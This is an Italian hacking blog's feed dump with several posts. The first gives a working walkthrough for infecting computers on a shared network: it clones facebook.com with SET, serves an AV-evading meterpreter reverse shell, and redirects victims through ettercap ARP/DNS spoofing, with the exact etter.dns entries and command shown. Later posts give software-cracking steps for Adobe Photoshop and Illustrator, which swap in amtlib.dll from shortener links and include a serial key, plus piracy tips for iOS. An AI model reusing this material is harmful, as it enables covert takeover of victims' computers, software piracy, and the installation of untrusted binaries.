&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitVsSlihtqcxD-8by3t0LXOcw-FLv4ARalNjJBb9Z0O1O5We_rBpLYls9PuIPfnJK4mu8CbFL9bTARGr0VGsNhUR5NgblWozGZ-DsynxDaot41PalsJIscVyOZSTWh_t-Tdzhe4XqGHMI0/s1600/payload.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;247&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitVsSlihtqcxD-8by3t0LXOcw-FLv4ARalNjJBb9Z0O1O5We_rBpLYls9PuIPfnJK4mu8CbFL9bTARGr0VGsNhUR5NgblWozGZ-DsynxDaot41PalsJIscVyOZSTWh_t-Tdzhe4XqGHMI0/s400/payload.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Oggi ragazzi, farò un breve guida sul come injectare un payload in un computer connesso sulla nostra stessa rete, usando il &quot;Site cloning&quot; e il &quot;Dns spoofing&quot; con Backtrack 5.&lt;br /&gt;
Quel che andremo a fare sarà configurare un exploit in modo che quando la vittima si connetterà ad un determinato sito scelto da noi, tramite il dns spoofing sarà redirectata al nostro local host, nel quale sarà preparato esattamente il sito che si aspetta, con la sola differenza, che nel sito sarà injectato il nostro payload, compresso e criptato per essere invisibile agli antivirus, che ci permetterà di avere il controllo del pc vittima, senza che questa si accorda di nulla.&lt;br /&gt;
&lt;br /&gt;
Quel che ci serve, è tutto già compreso in BT 5 ed è il Social Engineering Toolkit, Metasploit ed Ettercap.&lt;br /&gt;
Apriamo SET e:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Spostiamoci in Social Engineering Attacks (1)-&amp;gt;WebSite Attacks Vector(2)-&amp;gt;Java Applet Attack Vector(1)-&amp;gt;Site Cloner(2).&lt;/li&gt;
&lt;li&gt;Scriviamo adesso il nostro LHost, il mio è 192.168.1.5.&lt;/li&gt;
&lt;li&gt;Inseriamo l&#39;indirizzo del sito da clonare, io metto &quot;www.facebook.com&quot;.&lt;/li&gt;
&lt;li&gt;Impostato la porta di ricezione (default:443)&lt;/li&gt;
&lt;li&gt;Impostiamo il payload, di solito io uso meterpreter in reverse_tcp&lt;/li&gt;
&lt;li&gt;Impostiamo il metodo di criptazione (usa l&#39;msfencoder), nel multi encoding (15) [il 16 è anche meglio]&lt;/li&gt;
&lt;li&gt;Adesso SET vi chiederà se inizializzare il listening sulla porta da voi scelta, tramite l&#39;msfcli, dategli &quot;yes&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
Ora che abbiamo creato il sito con il payload sul nostro local host e abbiamo impostato l&#39;ascolto sulla nostra porta, non bisognerà fare altro che redirectare la vittima con il dns spoofing al nostro lhost, tramite ettercap.&lt;br /&gt;
Quindi apriamo un terminale e digitiamo:&lt;br /&gt;
&lt;br /&gt;
gedit /usr/local/share/ettercap/etter.dns&lt;br /&gt;
&lt;br /&gt;
Ci si aprirà il file di configurazione dns di ettercap, nel quale dovremo impostare il sito origine e il sito destinazione, quindi spostiamoci in basso e scriviamo:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;facebook.com A Lhost&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;*.facebook.com A Lhost&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Così adesso il plugin di dns spoofing di ettercap saprà cosa fare. Adesso possiamo procedere al redirecting tramite questo comando, che tramite un attacco MITM (se non sapete cos&#39;è, l&#39;ho trattato parecchio tempo fa &lt;a href=&quot;http://duxhack.blogspot.it/2011/02/ndp-poisoning_22.html&quot;&gt;QUA&lt;/a&gt;) farà ciò che noi vogliamo:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;ettercap -Tqi wlan0 -P dns_spoof -M ARP // //&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Farà tutto lui, lasciate fare e dimenticatevi di questo terminale. Tornate su SET e vedrete che appena la vittima aprirà il sito www.facebook.com, vi si aprirà la classica sessione di meterpreter, o la shell e quant&#39;altro nel caso aveste scelto un altro payload.&lt;br /&gt;
&lt;br /&gt;
Se vi è interessato l&#39;articolo, continuate a seguirmi ogni settimana, perché penso che da qua in poi pubblicherò qualcosa in più sul pentesting.&lt;br /&gt;
Alla prossima</content><link rel='replies' type='application/atom+xml' href='http://duxhack.blogspot.com/feeds/2484295927851309323/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://duxhack.blogspot.com/2013/02/payload-injection-tramite-site-cloning.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/2484295927851309323'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/2484295927851309323'/><link rel='alternate' type='text/html' href='http://duxhack.blogspot.com/2013/02/payload-injection-tramite-site-cloning.html' title='Payload Injection tramite Site cloning e Dns Spoofing con BT5'/><author><name>BlackHack</name><uri>http://www.blogger.com/profile/13299095775678040431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_yxQpFJOMHfwPA-BlidANxrfKAfwz1v45eA5drXrmpDpaRjzVBWS7Vlx0f-8KuZAEgC6Yy9mq1wySAnNGsIQJlkoEyhZJ4FN1SD0VaS9IFND0PXwCCy-1orLD88Blhg/s220/BlackHack00.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitVsSlihtqcxD-8by3t0LXOcw-FLv4ARalNjJBb9Z0O1O5We_rBpLYls9PuIPfnJK4mu8CbFL9bTARGr0VGsNhUR5NgblWozGZ-DsynxDaot41PalsJIscVyOZSTWh_t-Tdzhe4XqGHMI0/s72-c/payload.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7963577105298262429.post-8171392964276528960</id><published>2013-01-24T18:35:00.006+01:00</published><updated>2013-01-24T23:11:07.168+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="News"/><title type='text'>Alternativa a Installous? C&amp;#39;è e si chiama VShare</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeeBt1n4kuoOKmF1shVjR-DE80V-mYe5v842nOBPy2ja9YfnIJm3FVWnINwDNiP66CG8hoDiYRULRVO7GlQMx4A9Mk4KR-Lm8WNuLv9kW0LY7JIORl3VF2AKiZsugEMlJAHNp8UbGTosqy/s640/blogger-image-734319117.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeeBt1n4kuoOKmF1shVjR-DE80V-mYe5v842nOBPy2ja9YfnIJm3FVWnINwDNiP66CG8hoDiYRULRVO7GlQMx4A9Mk4KR-Lm8WNuLv9kW0LY7JIORl3VF2AKiZsugEMlJAHNp8UbGTosqy/s320/blogger-image-734319117.jpg&quot; width=&quot;213&quot; /&gt;&lt;/a&gt;&lt;/div&gt;È arrivata finalmente l&#39;alternativa al tanto amato Installous, che, come ormai tutti gli abituali utilizzatori degli IDevice Jailbroken sapranno, è stato bloccato permanentemente.&lt;br /&gt;
Questa nuova applicazione, si può persino definire migliore della vecchia, sia in quanto nella fluidità dell&#39;app stessa, sia &lt;br /&gt;
nella velocità di download (non parlo per sentito dire, l&#39;ho provata personalmente)...&lt;br /&gt;
Fino a qualche tempo fa, però, so che molti ebbero problemi nell&#39;installazione di questo &quot;VShare&quot; ed è proprio per questo che ho voluto fare questo articolo: al fine di spiegare a tutti come installare la versione semi-italiana del programma, senza alcun problema...&lt;br /&gt;
Dico semi-italiana, perché di italiano c&#39;è solo l&#39;interfaccia grafica, mentre le app sono miste tra cinese ed italiano (questo però non creerà problemi nella ricerca delle app).&lt;br /&gt;
&lt;br /&gt;
La cosa é molto semplice: basterà aprire cydia ed aggiungere la repo di:&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;http://www.cyhack.net/repo/&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Fatto questo, entrate nell&#39;archivio della repo e cercate, appunto, &quot;VShare Ita&quot;&lt;br /&gt;
Voglio sottolineare che però, alcune app non riusciranno ad essere installate poiché presenti solamente sul server di apptrackr, ormai chiuso.&lt;br /&gt;
&lt;br /&gt;
Personalmente ho trovato l&#39;applicazione molto intuitiva e carina, funzionale a tutti gli effetti, e di gran lunga migliore sotto vari aspetti, rispetto ad Installous. &lt;br /&gt;
Sta a voi provare e sapermi dire, a presto</content><link rel='replies' type='application/atom+xml' href='http://duxhack.blogspot.com/feeds/8171392964276528960/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://duxhack.blogspot.com/2013/01/alternativa-installous-c-e-si-chiama.html#comment-form' title='1 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/8171392964276528960'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/8171392964276528960'/><link rel='alternate' type='text/html' href='http://duxhack.blogspot.com/2013/01/alternativa-installous-c-e-si-chiama.html' title='Alternativa a Installous? C&amp;#39;è e si chiama VShare'/><author><name>BlackHack</name><uri>http://www.blogger.com/profile/13299095775678040431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_yxQpFJOMHfwPA-BlidANxrfKAfwz1v45eA5drXrmpDpaRjzVBWS7Vlx0f-8KuZAEgC6Yy9mq1wySAnNGsIQJlkoEyhZJ4FN1SD0VaS9IFND0PXwCCy-1orLD88Blhg/s220/BlackHack00.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeeBt1n4kuoOKmF1shVjR-DE80V-mYe5v842nOBPy2ja9YfnIJm3FVWnINwDNiP66CG8hoDiYRULRVO7GlQMx4A9Mk4KR-Lm8WNuLv9kW0LY7JIORl3VF2AKiZsugEMlJAHNp8UbGTosqy/s72-c/blogger-image-734319117.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7963577105298262429.post-5875055304174243812</id><published>2012-12-30T13:20:00.002+01:00</published><updated>2013-04-01T15:50:29.501+02:00</updated><title type='text'>Adobe Photoshop CS6 Crack Download</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4bBLw_lIw5VVxrjmWXSrECoeom7xzvMB0qEli1qpcJI3JFa9jIFskjy_D0xM5zdoELWJZf7WiNnmqw5IKMs7v25mxphwNPGh3Uw_Ehvhc7fMVISez9VeMc-oBaY87kWfBgM3697pk7dH4/s1600/photoshop-cs6-logo-image.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;360&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4bBLw_lIw5VVxrjmWXSrECoeom7xzvMB0qEli1qpcJI3JFa9jIFskjy_D0xM5zdoELWJZf7WiNnmqw5IKMs7v25mxphwNPGh3Uw_Ehvhc7fMVISez9VeMc-oBaY87kWfBgM3697pk7dH4/s640/photoshop-cs6-logo-image.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Eccoci ragazzi, oggi vi propongo l&#39;ennesima crack di uno dei più famosi prodotti Adobe di recente uscita: Adobe Photoshop CS6.&lt;br /&gt;
Cosa fare per crackarlo:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Scaricare il prodotto, dal sito dell&#39;Adobe, in versione Trial (questo vi darà la possibilità di accederci per una prova di 30 giorni&lt;/li&gt;
&lt;li&gt;Scaricare la Crack, &lt;b&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;a href=&quot;http://adf.ly/M2zav&quot;&gt;QUA&lt;/a&gt;&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;Rinominare il file scaricato in &quot;amtlib.dll&quot;&lt;/li&gt;
&lt;li&gt;Sostituire il file scaricato e rinominato al file originale nella cartella di Photoshop&lt;/li&gt;
&lt;li&gt;Riavviate adesso Photoshop e vedrete che non ci sarà alcun limite di tempo per la vostra trial&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
Nel caso il file venisse rimosso, prego qualcuno di avvertirmi tramite commento e/o email, in modo che io possa riupparlo.&lt;br /&gt;
Per domande o problemi, risponderò nei commenti..</content><link rel='replies' type='application/atom+xml' href='http://duxhack.blogspot.com/feeds/5875055304174243812/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://duxhack.blogspot.com/2012/12/adobe-photoshop-cs6-crack-download.html#comment-form' title='33 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/5875055304174243812'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/5875055304174243812'/><link rel='alternate' type='text/html' href='http://duxhack.blogspot.com/2012/12/adobe-photoshop-cs6-crack-download.html' title='Adobe Photoshop CS6 Crack Download'/><author><name>BlackHack</name><uri>http://www.blogger.com/profile/13299095775678040431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_yxQpFJOMHfwPA-BlidANxrfKAfwz1v45eA5drXrmpDpaRjzVBWS7Vlx0f-8KuZAEgC6Yy9mq1wySAnNGsIQJlkoEyhZJ4FN1SD0VaS9IFND0PXwCCy-1orLD88Blhg/s220/BlackHack00.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4bBLw_lIw5VVxrjmWXSrECoeom7xzvMB0qEli1qpcJI3JFa9jIFskjy_D0xM5zdoELWJZf7WiNnmqw5IKMs7v25mxphwNPGh3Uw_Ehvhc7fMVISez9VeMc-oBaY87kWfBgM3697pk7dH4/s72-c/photoshop-cs6-logo-image.jpg" height="72" width="72"/><thr:total>33</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7963577105298262429.post-6517932276672119720</id><published>2012-12-05T21:06:00.001+01:00</published><updated>2012-12-05T21:07:06.790+01:00</updated><title type='text'>Adobe illustrator CS5 Download + Crack</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSWYoa6CY3eRqC7Vc-4rRzcZe0NG3yAXhn0UM6Lx-x-8JwbCwiSBSP6CAdQv4efgRpLn894TElh3eTGehQgF9rbk-ekwrF2dgDKrJiHxGhmRT49CtYxNMYKCpuP2lS-PwWH77rQvkurKB2/s320/Adobe-Illustrator-CS5-Icon-psd47183.png&quot; width=&quot;320&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;&quot; style=&quot;font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px; text-align: left;&quot;&gt;
Adobe Illustrator è un programma Adobe, per la CREAZIONE di disegni artistici, ed è il migliore nel suo campo; infatti è il più usato da architetti, web designer, e anche piccoli artisti (infatti viene usato in molti licei artistici).&lt;/div&gt;
&lt;span style=&quot;font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px; text-align: start;&quot;&gt;Non mi dilungo sulla descrizione, in quanto ho aperto questo post per permettere a tutti voi di poter avere GRATIS Adobe Illustrator.&lt;/span&gt;&lt;br /&gt;
&lt;br style=&quot;font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px; text-align: start;&quot; /&gt;
&lt;span style=&quot;font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px; text-align: start;&quot;&gt;1-Per prima cosa scaricatevi dal sito dell&#39;adobe, adobe illustrator oppure da&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://adobe-illustrator.softonic.it/&quot; style=&quot;font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px; text-align: start; text-decoration: initial;&quot;&gt;QUI&lt;/a&gt;&lt;span style=&quot;font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px; text-align: start;&quot;&gt;.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px; text-align: start;&quot;&gt;2-Successivamente completate l&#39;installazione in versione Trial per 30 giorni.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px; text-align: start;&quot;&gt;3-In fine scaricate&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://adf.ly/FbmT8&quot; style=&quot;font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px; text-align: start; text-decoration: initial;&quot;&gt;QUESTO&lt;/a&gt;&lt;span style=&quot;font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px; text-align: start;&quot;&gt;&amp;nbsp;e copiatelo in:&lt;/span&gt;&lt;br /&gt;
&lt;span 13px=&quot;13px&quot; 18px=&quot;18px&quot; arial=&quot;arial&quot; font-size:=&quot;font-size:&quot; freesans=&quot;freesans&quot; helvetica=&quot;helvetica&quot; line-height:=&quot;line-height:&quot; sans-serif=&quot;sans-serif&quot; start=&quot;start&quot; tahoma=&quot;tahoma&quot; text-align:=&quot;text-align:&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;C:\Program Files (x86)\Adobe\Adobe Illustrator CS5\Support Files\Contents\windows&quot;.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 16px; text-align: start;&quot;&gt;4. riavviate Illustrator e ce lo avrete per sempre.&lt;/span&gt;&lt;br /&gt;
&lt;br style=&quot;font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px; text-align: start;&quot; /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 16px; text-align: start;&quot;&gt;A chi non funzionasse, l&#39;errore dovrebbe stare nella versione del software...&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 16px; text-align: start;&quot;&gt;Per questo, provate a usare questo codice (che mi ha segnalato un utente e sembra funzionare):&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 16px; text-align: start;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px; text-align: start;&quot;&gt;1325-1007-8106-7055-8198-6024&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://duxhack.blogspot.com/feeds/6517932276672119720/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://duxhack.blogspot.com/2012/12/adobe-illustrator-cs5-download-crack.html#comment-form' title='3 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/6517932276672119720'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/6517932276672119720'/><link rel='alternate' type='text/html' href='http://duxhack.blogspot.com/2012/12/adobe-illustrator-cs5-download-crack.html' title='Adobe illustrator CS5 Download + Crack'/><author><name>BlackHack</name><uri>http://www.blogger.com/profile/13299095775678040431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_yxQpFJOMHfwPA-BlidANxrfKAfwz1v45eA5drXrmpDpaRjzVBWS7Vlx0f-8KuZAEgC6Yy9mq1wySAnNGsIQJlkoEyhZJ4FN1SD0VaS9IFND0PXwCCy-1orLD88Blhg/s220/BlackHack00.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSWYoa6CY3eRqC7Vc-4rRzcZe0NG3yAXhn0UM6Lx-x-8JwbCwiSBSP6CAdQv4efgRpLn894TElh3eTGehQgF9rbk-ekwrF2dgDKrJiHxGhmRT49CtYxNMYKCpuP2lS-PwWH77rQvkurKB2/s72-c/Adobe-Illustrator-CS5-Icon-psd47183.png" height="72" width="72"/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7963577105298262429.post-5376118620200014422</id><published>2012-11-22T00:00:00.000+01:00</published><updated>2012-12-05T21:07:54.303+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="free"/><category scheme="http://www.blogger.com/atom/ns#" term="Software"/><title type='text'>Adobe Illustrator CS6 Crack Download</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDibQMbrXkOTrra8SBMq2VkbwEEDIljngRxC0ZhToVa1-fHxyefp-M0AxwA20wRfWsWnh5MUM15d9tGmGXWFfKuiaDquy0VLLmJEaaC5cO9AFKpiENUb1Z0cQ5VUF2crjGfIGgDPgUKvKQ/s1600/cs6illustrator.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;193&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDibQMbrXkOTrra8SBMq2VkbwEEDIljngRxC0ZhToVa1-fHxyefp-M0AxwA20wRfWsWnh5MUM15d9tGmGXWFfKuiaDquy0VLLmJEaaC5cO9AFKpiENUb1Z0cQ5VUF2crjGfIGgDPgUKvKQ/s320/cs6illustrator.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Ecco a voi, ragazzi, la crack di adobe illustrator CS6, il rinomato e costosissimo prodotto adobe dalle mille sfaccettature e possibilità.&lt;br /&gt;
&lt;br /&gt;
Senza troppe chiacchiere, so che ciò che vi interessa è il download:&lt;br /&gt;
&lt;a href=&quot;http://adf.ly/Fcuxy&quot;&gt;Adobe Illustrator CS6 amtlib.dll&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Nell&#39;archivio rar c&#39;è il file amtlib.dll per windows a 32 e a 64 bit.&lt;br /&gt;
&lt;br /&gt;
Per chi non lo sapesse, questo è tutto il procedimento di crack del suddetto prodotto Adobe:&lt;br /&gt;
-Scaricare dal sito di Adobe, la trial di Adobe Illustrator CS6&lt;br /&gt;
-Recarsi nella sua cartella e sostituire il file amtlib.dll crackato, con quello originale&lt;br /&gt;
-Disabilitare, con windows firewall, la connessione ad internet del programma (spesso non è strettamente necessario)&lt;br /&gt;
Adobe Illustrator CS6 sarà pronto all&#39;uso.&lt;br /&gt;
&lt;br /&gt;
Avvertitemi per email o nei commenti, nel caso mediafire, togliesse il download per la violazione, provederò ad aggiornare il link&lt;br /&gt;
A presto, Black</content><link rel='replies' type='application/atom+xml' href='http://duxhack.blogspot.com/feeds/5376118620200014422/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://duxhack.blogspot.com/2012/11/adobe-illustrator-cs6-crack-download.html#comment-form' title='16 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/5376118620200014422'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/5376118620200014422'/><link rel='alternate' type='text/html' href='http://duxhack.blogspot.com/2012/11/adobe-illustrator-cs6-crack-download.html' title='Adobe Illustrator CS6 Crack Download'/><author><name>BlackHack</name><uri>http://www.blogger.com/profile/13299095775678040431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_yxQpFJOMHfwPA-BlidANxrfKAfwz1v45eA5drXrmpDpaRjzVBWS7Vlx0f-8KuZAEgC6Yy9mq1wySAnNGsIQJlkoEyhZJ4FN1SD0VaS9IFND0PXwCCy-1orLD88Blhg/s220/BlackHack00.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDibQMbrXkOTrra8SBMq2VkbwEEDIljngRxC0ZhToVa1-fHxyefp-M0AxwA20wRfWsWnh5MUM15d9tGmGXWFfKuiaDquy0VLLmJEaaC5cO9AFKpiENUb1Z0cQ5VUF2crjGfIGgDPgUKvKQ/s72-c/cs6illustrator.jpg" height="72" width="72"/><thr:total>16</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7963577105298262429.post-3158902247252426261</id><published>2012-11-11T21:51:00.003+01:00</published><updated>2012-11-15T17:43:33.573+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="free"/><title type='text'>Scaricare musica GRATIS ad alta qualità direttamente da Iphone</title><content type='html'>&lt;div class=&quot;separator&quot;style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxRwfcPPUP-koyqUxYLZyOgoh1YDeaffJFCjdoc5rycHTio-bcmsVd2uZNqX686ds3jnYILUu5d9V4m5GbdomKsc35MVYTlbQIvG1zNNYtEmOX0Q9KbAbOIyETjc6LlaC7zXpyNin0jDyE/s640/blogger-image-208455104.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxRwfcPPUP-koyqUxYLZyOgoh1YDeaffJFCjdoc5rycHTio-bcmsVd2uZNqX686ds3jnYILUu5d9V4m5GbdomKsc35MVYTlbQIvG1zNNYtEmOX0Q9KbAbOIyETjc6LlaC7zXpyNin0jDyE/s640/blogger-image-208455104.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Oggi ragazzi voglio mostrarvi un metodo fantastico e praticamente sconosciuto per scaricare musica alla massima qualità (quella di Itunes) direttamente da Iphone. Non solo, tramite questo metodo che vi andrò a presentare potrete anche trasferire in meno di 10 secondi tutte le canzoni scaricate alla libreria musicale del vostro Iphone.Assicuro a tutti gli amanti della musica che è un metodo fantastico per scaricare la musica ad alta qualità.&lt;br /&gt;
&lt;br /&gt;
Intanto bisogna avere l&#39;Idevice con podsibilmente Ios 5 jailbroken.&lt;br /&gt;
Partiamo quindi aggiungendo la repository di xsellize, con indirizzo &quot;cydia.xsellize.com&quot;. Fatto questo dovete scaricare:&lt;br /&gt;
-GrooveShark, applicazione del famoso sito web online per l&#39;ascolto di musica alla massima qualità&lt;br /&gt;
-GrooveShark Enhancer, che vi permetteraà il download&lt;br /&gt;
-Gremlin, che permetterà lo spostamebto delle canzoni alla libreria musicale&lt;br /&gt;
-UDIDFaker che vi permetterà di tenere grooveshark perennemente&lt;br /&gt;
&lt;br /&gt;
Bene, fatto questo aprite grooveshark e se non ce lo avete, createvi un account premendo il tasto in alto a destra &quot;login&quot; (non c&#39;é la verifica della validità della mail)..&lt;br /&gt;
Riavviate grooveshark dopo aver fatto il login e scegliete l&#39;opzione della trial per 30 giorni...Tramite UDIDFaker potrete riavviare i 30 giorni ogni volta che vorrete, quindi vi troverete una schermata semplice ed intuitiva come quella che é nell&#39;immagine.&lt;br /&gt;
Vi assicuro che la qualitá è quella di itunes e il download delle canzoni è veramente rapidissimo, a me, che sono un appassionato di musica, quest&#39;applicazione mi ha cambiato la vita, spero faccia lo stesso con voi, &lt;br /&gt;
&lt;br /&gt;
A presto&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
